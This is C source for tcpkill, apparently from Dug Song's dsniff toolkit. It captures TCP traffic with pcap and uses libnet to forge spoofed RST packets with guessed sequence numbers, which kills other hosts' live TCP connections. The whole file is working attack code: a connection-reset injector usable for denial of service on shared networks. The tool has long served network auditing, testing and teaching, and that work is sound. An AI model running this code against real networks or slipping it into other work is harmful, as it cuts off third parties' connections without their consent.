/*

* tcpkill.c

*

* Kill TCP connections already in progress.

*

* Copyright (c) 2000 Dug Song <dugsong@monkey.org>

*

* $Id: tcpkill.c,v 1.17 2001/03/17 08:10:43 dugsong Exp $

*/

#include <sys/types.h>

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <libnet.h>

#include <pcap.h>

#include "tcpkill.h"

libnet_t *l;

void

tcpkill_kill(const struct pcap_pkthdr *pcap, const u_char *pkt,

unsigned pcap_off, unsigned kill_count)

{

struct libnet_ipv4_hdr *ip;

struct libnet_tcp_hdr *tcp;

u_char ctext[64];

u_int32_t seq, win;

int i, len;

pkt += pcap_off;

len = pcap->caplen - pcap_off;

ip = (struct libnet_ipv4_hdr *)pkt;

if (ip->ip_p != IPPROTO_TCP)

return;

tcp = (struct libnet_tcp_hdr *)(pkt + (ip->ip_hl << 2));

if (tcp->th_flags & (TH_SYN|TH_FIN|TH_RST))

return;

seq = ntohl(tcp->th_ack);

win = ntohs(tcp->th_win);

snprintf(ctext, sizeof(ctext), "%s:%d > %s:%d:",

libnet_addr2name4(ip->ip_src.s_addr, LIBNET_DONT_RESOLVE),

ntohs(tcp->th_sport),

libnet_addr2name4(ip->ip_dst.s_addr, LIBNET_DONT_RESOLVE),

ntohs(tcp->th_dport));

for (i = 0; i < kill_count; i++) {

seq += (i * win);

libnet_clear_packet(l);

libnet_build_tcp(ntohs(tcp->th_dport), ntohs(tcp->th_sport),

seq, 0, TH_RST, 0, 0, 0, LIBNET_TCP_H,

NULL, 0, l, 0);

libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H, 0,

libnet_get_prand(LIBNET_PRu16), 0, 64,

IPPROTO_TCP, 0, ip->ip_dst.s_addr,

ip->ip_src.s_addr, NULL, 0, l, 0);

if (libnet_write(l) < 0)

warn("write");

fprintf(stderr, "%s R %lu:%lu(0) win 0\n", ctext, seq, seq);

}

}

void

tcpkill_init(void)

{

char *intf, ebuf[PCAP_ERRBUF_SIZE];

char libnet_ebuf[LIBNET_ERRBUF_SIZE];

if ((intf = pcap_lookupdev(ebuf)) == NULL)

errx(1, "%s", ebuf);

if ((l = libnet_init(LIBNET_RAW4, intf, libnet_ebuf)) == NULL)

errx(1, "couldn't initialize sending");

libnet_seed_prand(l);

}